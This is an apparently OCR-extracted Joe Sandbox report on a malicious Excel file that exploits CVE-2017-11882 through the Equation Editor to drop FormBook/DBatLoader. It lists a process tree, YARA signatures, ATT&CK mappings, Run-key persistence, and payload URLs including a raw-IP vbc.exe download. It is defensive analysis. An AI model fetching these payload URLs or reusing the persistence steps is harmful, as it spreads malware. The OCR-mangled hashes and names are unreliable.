JOESandbox Cloud™*

ID: 532860

Sample Name:

4514808437 .xlsx

Cookbook:
defaultwindowsofficecookbook.jbs
Time: 18:57:45

Date: 02/12/2021

Version: 34.0.0 Boulder Opal



Table of Contents

Table of Contents
Windows Analysis Report 4514808437.xIsx

Overview
General Information
Detection
Signatures
Classification
Process Tree
Malware Configuration

Yara Overview
Dropped Files
Memory Dumps
Unpacked PEs
Sigma Overview
Exploits:
System Summary:
Jbx Signature Overview
AV Detection:
Exploits:
E-Banking Fraud:
System Summary:
Data Obfuscation:
Persistence and Installation Behavior:
Boot Survival:
Malware Analysis System Evasion:
HIPS / PFW / Operating System Protection Evasion:
Stealing of Sensitive Information:
Remote Access Functionality:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails
Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files

©COOWOWWONNNNODIOIDIOIODOOODoNnUarsrMDNDMDMANMNNDDBDDN

Domains 1
URLs 11
Domains and IPs 11
Contacted Domains 11
Contacted URLs 12
URLSs from Memory and Binaries 12
Contacted IPs 12
Public 12
General Information 12
Simulations 12
Behavior and APIs 12
Joe Sandbox View / Context 13
IPs 13
Domains 13
ASN 13
JA3 Fingerprints 13
Dropped Files 13
Created / dropped Files 13
Static File Info 23
General 23
File Icon 24
Network Behavior 24
Network Port Distribution 24
TCP Packets 24
UDP Packets 24
DNS Queries 24
DNS Answers 24
HTTP Request Dependency Graph 25
HTTP Packets 25
Code Manipulations 25
Statistics 25
Behavior 26
System Behavior 26
Analysis Process: EXCEL.EXE PID: 2612 Parent PID: 596 26
General 26

File Activities 26

File Written 26

Copyright Joe Security LLC 2021 Page 2 of 40



Registry Activities
Key Created
Key Value Created

Analysis Process:

General

File Activities

Registry Activities
Key Created

Analysis Process:

General
File Activities
File Created
File Written
File Read
Registry Activities
Key Value Created

Analysis Process:

General
File Activities
File Read
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Disassembly
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EQNEDT32.EXE PID: 2784 Parent PID: 596

vbc.exe PID: 2016 Parent PID: 2784

logagent.exe PID: 1268 Parent PID: 2016

explorer.exe PID: 1764 Parent PID: 1268

Esfjmbxd.exe PID: 1264 Parent PID: 1764

Esfimbxd.exe PID: 2800 Parent PID: 1764

logagent.exe PID: 1352 Parent PID: 1264

cmstp.exe PID: 2832 Parent PID: 1764

ipconfig.exe PID: 252 Parent PID: 1764

logagent.exe PID: 1580 Parent PID: 2800
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Windows Analysis Report 4514808437.xlIsx

Overview

General Information

Sample 4514808437 .xIsx
Name:

Analysis ID: 532860

MDS: 0b1244570453cc...
SHAL: 6ce2f17a9ffh564...
SHA256: 53ea97de19540a..
Tags:

Infos:

fiB Qb

wES HCA' HCH
3
HI A 4

Most interesting Screenshot:

= System is w7x64

Detection

F MALICIOUS 1

DBatLoader
FormBook

Range:
Whitelisted:

Confidence: 100%

Signatures

Classification

Sigma detected: EQNEDT32.EXE c...

Antivirus detection for URL or domain

Multi AV Scanner detection
Yara detected FormBook
Malicious sample detected (through ...
Sigma detected: Droppers Exploiting...
Yara detected DBatloader

Sigma detected: File Dropped By EQ...

Multi AV Scanner detection for dropp...

for subm...

Allocates memory in foreign process...

Injects a PE file into/a foreign proce...

<
)
o
)
o
v
=
=
el
=
@
S
el
<
()
@
)
S
S

. EXCEL.EXE (PID: 2612 cmdline: "C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 2784 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5:

A87236E214F6D42A65F5DEDAC816AECS)

. vbc.exe (PID: 2016 cmdline: "C:\Users\Public\vbc.exe" MD5: 7D68426EC31E1BC7C5E12A9E23837173)

logagent.exe (PID: 1268 cmdline: C:\Windows\System32\logagent.exe MD5: EA7D55E6964AA852BC7AE6F1C3349A55)
explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

. Esfimbxd.exe (PID: 1264 cmdline: "C:\Users\user\Esfimbxd.exe" MD5: 7D68426EC31E1BC7C5E12A9E23837173)

logagent.exe (PID: 1352 cmdline: C:\Windows\System32\logagent.exe MD5: EA7D55E6964AA852BC7AE6F1C3349A55)

. Esfimbxd.exe (PID: 2800 cmdline: "C:\Users\user\Esfimbxd.exe" MD5: 7D68426EC31E1BC7C5E12A9E23837173)

logagent.exe (PID: 1580 cmdline: C:\Windows\System32\logagent.exe MD5: EA7D55E6964AA852BC7AE6F1C3349A55)

. $ cmstp.exe (PID: 2832 cmdline: C:\Windows\SysWOWe64\cmstp.exe MD5: 00263CA2071DCIAGEE5S77EB356B0D1D9)

o W]
o W]
° \I"i
° \I"‘i
o« m!
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source

C:\Users\usendxbmjfsE.url

Memory Dumps

Source

00000012.00000000.634841930.000000007248
0000.00000040.00000001.sdmp

Copyright Joe Security LLC 2021

Rule

Methodology_Contains_Sh

ortcut_OtherURIhandlers

Rule

JoeSecurity_FormBook

Description Author
Detects possible  @itsreallynick
shortcut usage for  (Nick Carr)
.URL persistence

Description Author

Yara detected Joe Security

FormBook

ipconfig.exe (PID: 252 cmdline: C:\Windows\SysWOW64\ipconfig.exe MD5: CABB20E171770FF64614A54C1F31C033)

Strings

e 0Ox14:%file: URL=
e 0x0:$url_explicit: [InternetShortcut]

Strings
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Source

00000012.00000000.634841930.000000007248
0000.00000040.00000001.sdmp

00000012.00000000.634841930.000000007248
0000.00000040.00000001.sdmp

00000004.00000003.498505335.000000000420
4000.00000004.00000001.sdmp

00000004.00000003.498480365.00000000039C
C000.00000004.00000001.sdmp

Unpacked PEs

Source

18.0.logagent.exe.72480000.2.raw.unpack

18.0.logagent.exe.72480000.2.raw.unpack

18.0.logagent.exe.72480000.2.raw.unpack

14.0.logagent.exe.72480000.0.unpack

14.0.logagent.exe.72480000.0.unpack

Sigma Overview

Exploits:

Rule Description

Formbook_1 autogenerated rule
brought to you by

yara-signator

Formbook detect Formbook

in memory

Methodology_Contains_Sh Detects possible
ortcut_OtherURIhandlers  shortcut usage for
.URL persistence

Methodology_Contains_Sh Detects possible
ortcut_OtherURIhandlers  shortcut usage for
.URL persistence

Click to see the 211 entries

Rule Description

JoeSecurity_FormBook Yara detected
FormBook

Formbook_1 autogenerated rule
brought to you by

yara-signator

Formbook detect Formbook in

memory

JoeSecurity_FormBook  Yara detected
FormBook

Formbook_1 autogenerated rule
brought to you by

yara-signator

Click to see the 74 entries

Author Strings

Felix Bilstein - e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator at e 0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
cocacoding dot e 0Ox146a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 2
com 57494

e 0x14191:$sequence_2: 3B 4F 14 73 9585 C9 74 91

e 0Oxl147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02

83 E3OF C1EA 06

e 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
e 0Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
e 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
e Oxlacda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
JPCERT/CC e 0Ox16ac9:$sqlite3step: 68 34 1C 7B E1
Incident Response e 0x16bdc:$sqlite3step: 68 34 1C 7B E1
Group e 0Ox16af8:$sqlite3text: 68 38 2A 90 C5
e 0Oxl16cld:$sqlite3text: 68 38 2A 90 C5
e 0x16bO0b:$sqlite3blob: 68 53 D8 7F 8C
* 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
@itsreallynick e Ox1lcf4:$file: URL=
(Nick Carr) e Ox1cd8:$url_explicit: [InternetShortcut]
@itsreallynick e 0x19a8:$file: URL=
(Nick Carr) e 0x198c:$url_explicit: [InternetShortcut]
Author Strings
Joe Security
Felix Bilstein - e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
yara-signator at e 0x8992:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
cocacoding dot e 0Oxl46a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494
e 0x14191:$sequence_2: 3B 4F 14 73 9585 C9 74 91
e 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
e 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
e 0x93aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06
e 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
e 0Oxal22:$sequence_7: 66 89 0C 02 5B 8B E5 5D
e 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4
e Oxlacda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
JPCERT/CC e Ox16ac9:$sqlite3step: 68 34 1C 7B E1
Incident Response e 0x16bdc:$sqlite3step: 68 34 1C 7B E1
Group e 0Ox16af8:$sqlite3text: 68 38 2A 90 C5
e 0Ox16cld:$sqlite3text: 68 38 2A 90 C5
e 0x16bO0b:$sqlite3blob: 68 53 D8 7F 8C
e 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
Joe Security
Felix Bilstein - e 0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

yara-signator at 0x7b92:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
cocacoding dot 0x138a5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
com 7494

0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Ox85aa:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18d97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19eda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

.

.

e o o o

e o o o

Sigma detected: EQNEDT32.EXE connecting to internet

Copyright Joe Security LLC 2021
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Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Jbx Signature Overview

@ Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Multi AV Scanner detection for submitted file
Yara detected FormBook

Multi AV Scanner detection for dropped file

Exploits:

=

E-Banking Fraud:

System Summary:

Data Obfuscation:

K

Yara detected FormBook

=

Malicious sample detected (through community Yara rule)

=

Yara detected DBatLoader

Persistence and Installation Behavior:

‘]

Boot Survival:

‘]

Malware Analysis System Evasion:

=

=

HIPS | PFW | Operating System Protection Evasion:

Copyright Joe Security LLC 2021 Page 6 of 40



Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: Fl

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control
Valid Native API DLL Side- DLL Side- Deobfuscate/Decode  Input System Time Remote Archive Exfiltration  Ingress Tool
Accounts Loading Loading Files or Information [}  Capture Discovery Services Collected Over Other Transfer [{)
Data Network
Medium
Default Shared Application  Application Obfuscated Files or LSASS File and Directory Remote Screen Exfiltration  Encrypted
Accounts  Modules Shimming [ Shimming Information Memory Discovery Desktop Capture Over Channel
Protocol Bluetooth
Domain Exploitation for Registry Run Process Software Packing Security System Information SMB/Windows Input Automated Non-
Accounts  Client Keys / Injection Account Discovery Admin Shares Capture Exfiltration  Application
Execution Startup Manager Layer
Folder Protocol
Local At (Windows)  Logon Script Registry Run Keys DLL Side-Loading NTDS Security Software Distributed Input Capture Scheduled Application
Accounts (Mac) / Startup Folder Discovery Component Transfer  Layer
Object Model Protocol
Cloud Cron Network Network Logon Masquerading LSA Secrets  Virtualization/Sandbox SSH Keylogging Data Fallback
Accounts Logon Script  Script Evasion Transfer Channels
Size Limits
Replication  Launchd Rc.common Rc.common Modify Registry Cached Process Discovery VNC GUI Input Exfiltration  Multiband
Through Domain Capture Over C2 Communication
Removable Credentials Channel
Media
External Scheduled Task Startup Startup Items Virtualization/Sandbox DCSync Application Window  Windows Web Portal Exfiltration  Commonly
Remote Items Evasion Discovery Remote Capture Over Used Port
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Process Proc Remote System Shared Credential Exfiltration Application
Compromise Scripting Task/Job Task/Job Injection Filesystem Discovery Webroot API Hooking  Over Layer Protocol
Interpreter Symmetric
Encrypted
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) Masquerading letc/passwd  System Network Software Data Staged  Exfiltration Web Protocols
Public- and Configuration Deployment Over
Facing letc/shadow  Discovery Tools Asymmetric
Application Encrypted
Non-C2
Protocol

Behavior Graph
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Hide Legend

=
®

«Q
@®
=}
o

Process
Signature
Created File
DNS/IP Info
Is Dropped

@+ BEEL

Is Windows Process

*

Number of created Registry Values

TLI
s
"en

Number of created Files

5 B

S & e Visual Basic
ﬁ Delphi
EEEED - & e
- /W Net C# or VB.NET
@ e - == @ C, C++ or other language
D e & @ Is malicious
e e Internet

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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XH9- - 4514808437 - Microsoft Excel = & =

Home | Insert  FPagelsyout  Formulas  Data  Review  View c@o & R
=% Cut . Tl a = . E‘J ! | T T @ = Autosum ~ A iﬁ
e Calibri 11 A A S5 Wrap Text g B B e & /AF_’ :

I ramatrainter | B4 DL [ A Bergeacenter~ | 5 - % 2 | W e sty | e T | @ A seeds
Clipboard | Font | Alignment | Number | Styles | Cells | Editing |
P10 M £ 2
A | B c [ o [ e | F [ & [ w [ o+ T 3 T x«x T [ m I~ T ol e [ al l r [ s |[E
1
2
3
a
B
6
7
8
9
10
1
12
13 -
1 — —
15
16 — — —
= - — — - ——
e . w— Content Locked.
i': ——r e —— Please enable Editing and Content from the Yellow bar
20 TR above to view locked content.
21 W — —— o — .
=] — = -_— g
23
24  —— —
— - — -
25
26 L T T — <
27
28 - - N
) ——— -
30 - ‘e -
11 — - — —
32
33
34
35
36
37
38 ' 5
: WW . _ —

Ready

N R S :

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download

Copyright Joe Security LLC 2021 Page 9 of 40



Source Detection Scanner Download
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Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:f/crl.pkioverheid.nl/DomOvLatestCRL.crl0 0% URL Reputation safe
http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/focsp.entrust.net03 0% URL Reputation safe
http:/fpurl.or 0% Avira URL Cloud safe
http:ifcrl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0 0% URL Reputation safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwww.diginotar.nl/cps/pkioverheid0 0% URL Reputation safe
http:/fwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
http:/focsp.entrust.netOD 0% URL Reputation safe
http://servername/isapibackend.dll 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
kq7x1g.am.files.1drv.com unknown unknown false high
onedrive.live.com unknown unknown false high

Copyright Joe Security LLC 2021 Page 11 of 40



Contacted URLs o o : :
Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain

Country Flag ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Copyright Joe Security LLC 2021

34.0.0 Boulder Opal

532860

02.12.2021

18:57:45

CloudBasic

Oh 13m 32s

false

light

4514808437 .xIsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

19

= O O O

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default

Timeout

MAL
mal100.troj.expl.evad.winXLSX@16/33@6/1
Failed

e Successful, ratio: 33.6% (good quality ratio 33%)
e Quality average: 81.5%
e Quality standard deviation: 23.8%

e Successful, ratio: 93%
e Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension: .xIsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Show All

Page 12 of 40



Time

18:58:45
18:58:49
18:59:07
18:59:15
18:59:16
18:59:16
18:59:18
18:59:56
18:59:57

Type Description

API Interceptor 86x Sleep call for process: EQNEDT32.EXE modified

API Interceptor 304x Sleep call for process: vbc.exe modified

Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Esfjmbxd C:\Users\user\dxbmjfsE.url
API Interceptor 81x Sleep call for process: logagent.exe modified

API Interceptor 41x Sleep call for process: explorer.exe modified

Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Esfijmbxd C:\Users\user\dxbmijfsg.url
API Interceptor 930x Sleep call for process: Esfimbxd.exe modified

API Interceptor 197x Sleep call for process: cmstp.exe modified

API Interceptor 1x Sleep call for process: ipconfig.exe modified

Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\Esfjmbxdqgblmweczuaoywlbuuuotshq[1] E

Process: C:\Users\Public\vbc.exe

File Type: data

Category: downloaded

Size (bytes): 278016

Entropy (8bit):  7.996878535318331

Encrypted: true

SSDEEP: 6144:tnQdHmM6WsXganx55EJhiTOWBsBZ6Q/cnb1kTpm+BxOY:JKmdE/GJIhYImBZ6TnbleeY

MD5: 46A38A9CB36FA3FBA2807CE33865181B

SHAL: B4C7981EEC003EA457B8F8417D1BCDCB4BBA1D43

SHA-256: 41FBCDA3F1ECD533D65D503DD71139F186EECA806229BD97A993C8842B2DB6AE

SHA-512: 9C3991A908591A1DA60C88D5E8D0OD5BD4C04537898639603A27770D4FC49C5FEB0741B750F9F3F16BE3A6002329B26B2C44BEDD7E46600CD2BES732058B3BD0

Malicious: false

Reputation: unknown

|IE Cache URL: http://https://kq7x1q.am.files.1drv.com/y4mwiQWhécfss-mW5wezTm5070GjOP62NBGfPYedvCz2WKwFZgTNzbddi7h4QH2It-
mjrZBnrw7JQ7prC23E80X9U7va2IMf_HO06F6UJ7CLKkHydMfBdrwphQ4JCY3s6WQy1gRrNQEQVaPDQApWJIbQNODZ7x-nbpZqc5PLHASdGuX6MaCS4bO-
mLisXY3uOx8RcBqMHIRZNjIqTzY ItST|SOhQ/Esfimbxdgblmweczuaoywlbuuuotshg?download&psid=1

Preview:

Y Z\SL) XX g..>...%.... v 2., 3...C.D.. L KU #LZ L) 1.2k L5+ p FOWFLLLLULLXG. gL XG>0 %0 v 200030 Cl D KL ZL) L 1 2K+ p FLOWFL
Y_}..JYT..09.z. . 4[A.B:..1...7..1.V....0zZ..
=C>.7N.H.DljF..53...EF...z.... X/r%........a.

[.2G..D..6.
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

|IE Cache URL:

Preview:

C:\Users\user\Esfimbxd.exe

data

downloaded

278016

7.996878535318331

true
6144:tnQdHmM6wWsXqanx55EJhiTOWBsBZ6Q/cnb1kTpm+BxOY:JKmdE/GJhYImBZ6TnbleeY
46A38A9CB36FA3FBA2807CE33865181B
B4C7981EEC003EA457B8F8417D1BCDCB4BBA1D43
41FBCDA3F1ECD533D65D503DD71139F186EECAB806229BD97A993C8842B2DB6AE
9C3991A908591A1DA60C88D5E8BDOD5BD4C04537898639603A27770D4FC49C5FEB0741B750F9F3F16BE3A6002329B26B2C44BEDD7E46600CD2BE5S732058B3BD0
false

unknown

http:if
https://kq7x1q.am.files.1drv.com/y4mb_KxfNIsqkzJbvEZRd1IvwZY7CnNCIRssKUahBY83rCykh1HpmIF4OSIEbEKSzmO4z1ZWLXVwJIyHAKoncHunO00tXV8QX02yh3hM
F-cvQSKNGtbzfIB1rvGlgxetgyPwFS39kkaOFglYxs8WusBjFQHfl-DzcXbAZTQkdDZwMXya5vJk-
GRfE9J2kH_S4srQvz7gsiSs7708mLC25ehjVQ/Esfimbxdgblmweczuaoywlbuuuotshg?download&psid=1

Y ZALSLL) X0 X0 >0 % v 2 B0 ClD L KL Z L) 1 2k L B+ p QWL XL X0 >0 %, v 20, B0 Cl D KL Z L) L 2Ky L5+ p . FLOWFL
LJlxegex.g.>0%......z..d..W8..; x JE.wd..h. XR. 1. ar....*y../A. ..u TjD. ; M.\uM...-.gA4. 0E. .Y _}.JYT.09.z" 4[A.B:.1..7..LV...0z...F.8n..d.
.JD.+._H...z._N]B..uj.F)..f.B.b..b..{".3p.l...v..+A.|6.4)XW..c.3ddfp..U.E... $.:.J..a?..0:Z.*>".....0.....1]......=C>.7N.H.D|jF..53.. [EF...z.... X/r%...r.....a..".[.?G..D..6.
0.S,e<.>.C$B..k+m.e....... Y.S5%XT]........ +]....bg..S<.%L.r.....E.;..1S,..$.S...F.N...S(b~r..a...4.[.0.p.. " XD./i..v..hm.R...+]...-a..S5c..k...U...9.3y k.3g..1!G4
AL #Bink)WN..LLLL.=.9.83y k.30, 11G4. AL +B.n})V--79Y ........0.2..dq.G&. .X.H#_..'C.R.......6. > AU Y rL X ~8. L. +B.n}L)VNL L =93

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:
IE Cache URL:

Preview:

C:\Users\user\Esfimbxd.exe

data

downloaded

278016

7.996878535318331

true
6144:tnQdHM6WsXganx55EJhiTOWBsBZ6Q/cnb1kTpm+BxOY:JKmdE/GJIhYImBZ6TnbleeY
46A38A9CB36FA3FBA2807CE33865181B
B4C7981EEC003EA457B8F8417D1BCDCB4BBA1D43
41FBCDA3F1ECD533D65D503DD71139F186EECA806229BD97A993C8842B2DB6AE
9C3991A908591A1DA60C88D5E8DOD5BD4C04537898639603A27770D4FCA49C5FEB0741B750F9F3F16BE3A6002329B26B2C44BEDD7E46600CD2BES732058B3BD0
false

unknown

http:ifhttps://kq7x1q.am.files.1drv.com/y4m4CLIVbdFJsvnBkhi6HFnMebcx0dHg8HXkoINImtYbakbYwI5pVs7GIQM240f_4RACYhuXw4USguKGyde-
db7ycZPHIhSIX3UeNgwCHU784nL50wiBLDRp1rfa0Jd2pgJviPSv244Bb8xeqsB-_dgmFmISDrEzOPNpwxsgvXke5NZxTf_S4DOLTUTYRmMCxrS-XkUUBAVjFCdomFSQzF-
Q7g/Esfimbxdgblmweczuaoywlbuuuotshgq?download&psid=1

Y Z\LSL) X XG>0 %, v 20030, ClD L KLU Z L) 1 2k LB+ p FOWELLLLLL XL XG>0 % v 2030 Cl D KL Z L) L 2k L5+ p FLOWEL
LJlXxegex.g.>..%......z..d..W8..; x.JE.wd..h. X.R.1.ar...*y../A..u TjD.;.M.\uM...-.gA4..0E...Y _}..JYT.09.z" 4[A.B.1..7..LV...0z...F.8n..d.

.JD.+._H...z._N]B..uj.F)..f.B.b..b..{".3p.l...v..+A.|6.4)XW..c.3ddfp..U.E....$.:.J..a?..0:Z.*>".....0.....1]......=C>.7N.H.DljF..53...EF...z.... X/r%...r.....a..".[.?G..D..6.
0.S,e<.>.C$B..k+m.e....... Y.S5%XT]........ +]....bg..S<.%L.r....E.;..1S,..$.S...F.N....S(b~r..a...4.[.0.p.. XD./i..v..hm.R...+]...-a..S5c. k...U...9.3y k.3g..I'G4
AL ABink)WN.......=.9.3y k.30..1!G4.. AL....+B.n}.)V--79Y.........0.2..dQ.G& X H#_..'C.R......6.> AU Y r. J. X.~8. L....+B.n}..)VN........ =9.3

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

IE Cache URL:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
PE32 executable (GUI) Intel 80386, for MS Windows

downloaded

697856

6.715012052682817

false
12288:CIEpAb3iVUYfqUe+L7IMIbv7fkgD8BcFcePyaW:CI8G3DYfq9+hMNTMO8Cbm
7D68426EC31E1BC7C5E12A9E23837173
A477TAE983254FE49643E050EA426439378F81D43
7195589BA87F4B77BC10AF665070180CF807FF7D2F8198743248EDDA2ES5B6AS5
E8997369F3ADE98C449ED070094F253E6BDEF6B7D541420C2F63C82CB47A8739E57CDA4DF3A0F7E7B55A673795D665367D2AE36DA40ADEFF69016298960E737
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 36%

unknown

http://198.46.136.201/1100/vbc.exe
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Preview:

1..L.I..This program must be run under Win32..$7

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1180612F.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

dropped

11303

7.909402464702408

false
192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIBswpJuaUSt:ODy31IAjObL/EKVIKVFgFgeUUjOmMJIN
9513E5EF8DDC8BODIC23C4DFD4AEECA2

E7FC283A9529AA61F612EC568F836295F943C8EC
88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢
D

false

unknown

IHDR. P.l...sRGB gAMA. ...2z.Y8..DI*E.4*6.@.$$....+..T.H/.M6..RH.L.LR.IAC...>3;3;..4..~..>3.<.<..7.
c..x0.Z.X.J...Lhv.u.q..C..D......-..#n R..Gs...G.3.z.."...........(..18..)..[..c&t..ZHv..5....3#..~8...
..e2..2.0.tR}ZI.." &......10..U.mK..N.8..C...[. . w.y....O.RSS. "L4cd...ku$._...Av..Z..*Y.0.
j....h..P.Nv R . .h.:].B.g.C......6... .0..[)..Z.XuJ.pE..Q.u.:.$[K..2....zZM=".p.Q@.0.LA../.%....EFsk:z...9

.}..nu.8d..L...:B."zuxz..A.m;p..(&&....

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\1E3A41EB.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced

dropped

68702

7.960564589117156

false
1536:Hu2p9Cy+445s212HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9w1HCIOTKEhQw
9B8C6AB5CD2CC1A2622CC4BB10D745C0
E3C68E3F16AE0A3544720238440EDCE12DFC900E
AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FEQ
407F29E5F0C2F993051E4B0C81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC71

false

unknown

EXtTitle...".. IDATX...y|T.2.1.3. $.D.(V....Q.q....W.[..Z..- *HImm...4V..BU.V@ h.t....}..cr.3....
.6.n@7B.{Q.S.HDDDDDDDD........... \bxHDDDDDDDDD. 1<$ ..d2Y@9' @c.v..8P..0"..
Y MUK ML AT ZILE. . B nF5 e (L d.3% .=, [0...0....N..._{.-.M.3...pX

o[ 0.9R. Vb5 A a.....86.....S.0.h7.........0..v.+.~.0B.H.|.8...

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\223D2912.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 600 x 306, 8-bit colormap, non-interlaced

dropped

42465

7.979580180885764

false
768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJIctLo63a8dydV+3WOa+90sZsSyMs+
C31D090D0B6B5BCA539D0OE9DBOC57026

DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886
687AFECEEGE6E286714FD267E0F6AC74BCA9AC6469F4983C3EF7168C65182C8D

